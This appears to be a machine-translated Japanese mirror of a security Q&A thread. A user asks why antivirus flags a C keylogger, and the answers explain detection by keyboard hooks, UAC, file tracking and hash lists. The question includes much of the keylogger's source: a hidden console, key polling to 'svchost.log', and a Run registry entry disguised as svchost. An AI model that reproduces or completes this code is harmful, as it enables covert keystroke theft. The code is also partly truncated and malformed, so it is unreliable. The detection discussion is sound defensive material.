web-dev-qa-db-ja.com

コンピューターでキーロガーを検出するのと同じくらい簡単なことは何ですか?

オンラインで1つ見つけたので、家で試してみて、実際に機能するかどうかを確認しました。それはCで書かれており、その半分がキーが押された場合の単なる束であることを考えると、それほど大きくありません。例:

case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;

そしてそれはまたレジストリのように少し行います

reg_key=RegOpenKeyEx    (HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);

私のWindows 7コンピューターはこれを「潜在的に有害なソフトウェア」としてピックアップしますが、私のXP Symantec Endpoint Protectionがインストールされている学校のコンピューターはそうしません。ハートビートですが、しませんでした。

だから私の質問は、このプログラムを「潜在的に有害なソフトウェア」として確立するものは何ですか?レジストリの変更/使用法、または一般的にキーロガーを捕まえるその他の要因ですか?

注:プログラムには他にもありますが、かなり長いので、繰り返しのある部分をいくつか編集しました。ただし、ここではキーロガーのほとんどを示していますが、データをメモリに書き込むだけのステートメント(if-elseとswitch)をいくつか省略しました。

    #include <windows.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/

   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);

   }


   int t=get_keys();

   return t;
}  

int get_keys(void)
{
           short character;
             while(1)
             {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    

      A lot of switch statements left out for brevity
      I left out a lot of if-elses as well, all they did was write the
      data to the file.

           }
           return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {    
       check=1;
       return check;
   }        

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;  
}

int create_key(char *path)
{  
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}
16
cutrightjm

特定のプログラム(悪意のあるプログラムと悪意のないプログラム)がアンチウイルスソフトウェアによってフラグが付けられる理由を理解するには、アンチウイルスソフトウェアが使用するいくつかの基本原則を理解する必要があります。

無許可のリソースへのアクセス

キーボードフック

他の人が示唆したように、キーボードフックは、プリミティブキーロガーが検出される最初の方法の1つです。プログラマでない場合は、ユーザー入力とキーボードフックの間で混乱する可能性があります。キーボードフックは、(たとえばMicrosoftメッセージチャネル)を介してユーザーi/pのすべてのトラフィックを読み取ります。ほとんどのプログラムは、すべてのOSプログラムではなく、それらに向けられたi/pをリッスンするだけで済みます。ウィンドウハンドルは、通常、どのi/pがどこに行くかを指定するために使用されます。ただし、アンチウイルスがこれを検出しなかったのは、2つの理由が考えられます。

  • キーボードフックは一般的なプログラムでは使用されていませんが、マクロや特定のゲームなどのプログラムは、プログラムに到達する前にユーザー入力をフィルタリングする必要があります。このようなプログラムでは、セキュリティフラグを乗り越えることができます。
  • Anti-Virusはリアルタイムのものではないか、そのPCのユーザーにすぐに通知するようにアラートレベルで設定されていません。アラートを無効にするか、メモリに記録するように要求することができます。

続きを読む: http://www.keylogger.org/articles/arkon/keyboard-hook-6.html

レジストリWindowsは最近、Linuxに似た(パスワードなしの:P)アプローチを採用してセキュリティを強化し、不正なリソースの使用やプログラムの実行により、他のプロセスを一時停止し、直接のユーザー入力によってのみ閉じることができるセキュリティポップアップ。この機能であるUAC(ユーザーアカウント制御)は、キーロガーを最初に無許可の新しいソフトウェアとして検出する責任がありました。キーボードフックを使用して、開いているフォームなしで実行し、バックグラウンドで非表示にすると、すべてこれに追加されます。

主な失敗

ファイルの作成多くのウイルス対策ソリューションは、PCにあるすべてのファイルのリストを保存します。新しいファイルが作成されると、そのOriginがトレースされます。これで確認できない場合は、セキュリティフラグが立てられます。この機能はスキャンと組み合わせてリアルタイムで使用されるため、現代のAVでZipのコンテンツを抽出すると、新しく見つかったファイルがすぐに検索されます。

ホワイトリストとブラックリストAVは、Windows DLLのバイトの簡単な変更を識別するために、何十億ものプログラムファイルハッシュを格納します。彼らはまた、他の邪悪なものからそれらをよりよく分類するために、世界のすべての既知の文書化されたプログラムを保存します。

結局のところ、あなたのAVが以下を実行しなかったという事実が主な懸念原因です:

  1. 見慣れないプログラムの実行を検出します。
  2. このプログラムによるレジストリまたはキーボードフックアクセスを検出しません。
  3. なじみのないプログラムによるユーザーの同意なしにファイルの作成にフラグを立てない。
  4. このプログラムがネットワークを介して暗号化されていないこのデータを攻撃者に送信しようとしたときに警告しません。 (これはデータ漏洩を防ぐことができる最後のスタンスです)

注:別の回答にあるように、.exeは別のコンピューターから発生し、Win 7マシンなどでセキュリティ警告を引き起こしました。

12
Rohan Durve

私の経験では、ほとんどのウイルス対策/マルウェアソリューションは、キーロガーを作成する最も簡単な方法である低レベルのキーボードフックについて不満を言っていません。

私の最も人気のあるプログラムの1つにそのようなキーボードフックがあり、ファイアウォールの不満について1人のユーザーだけが私に教えてくれました。一方、かなり無害な他のいくつかのモジュールは、いくつかの誤検知を引き起こしました。

彼らがなぜ低レベルのキーボードフックを悪と見なさないのか私にはわかりません。考えられる理由の1つは、 無能なプログラマ ホットキーAPIを使用する代わりに、それらを悪用してグローバルホットキーを取得することをよく知らない人。

興味深いことに、キーボードイベントでdllインジェクションが発生する通常のグローバルキーボードフックが一般的に検出されます。

12
CodesInChaos

この例では、キーストロークを読み取って保存しているという事実が、これにフラグを立てます。一般的にそれは何も必要とされるべきではないので、それはshouldがトリガーとして使用されます。

しかし、@ CodeInChaosが言うように、これはしばしば拾われません-これは大規模な監視のようです。

5
Rory Alsop

あなたがしたコメントの1つは私を混乱させました。私はあなたがexeをダウンロードしたかどうか尋ねました、そしてあなたはあなたがそうしなかったと言いました、しかしあなたの質問はあなたが家でダウンロードし、それがあなたにメッセージを送ったと言います。その例では、Windowsが自動的に実行する安全ではないことがフラグを立てられたと思います。全般タブの下部にあるプロパティを右クリックすると、このexeがブロック解除ボタンのある別のコンピューターからのものであるというメッセージが表示されます。

Windows XPにはその機能がない可能性があるため、取り上げられませんでした。

3
user5575

問題の事実は、現在提供されているアンチウイルス保護は単に十分ではないということです。アンチウイルス企業の大部分は、高度なヒューリスティック機能を備えていません(まったく持っていない会社もあります)。それらのほとんどすべてが特定のファイルのMD5チェックサムに依存して、それをウイルスとしてマーク付けします。この方法は、すべての大きな男の子(ポリモーフィックでない限り)で機能しますが、より小さく、あまり知られていない小さなファイルをキャッチできません。マルウェア」。

そのファイルのチェックサムがなかったため、おそらく検出されなかったと思います

0
Kush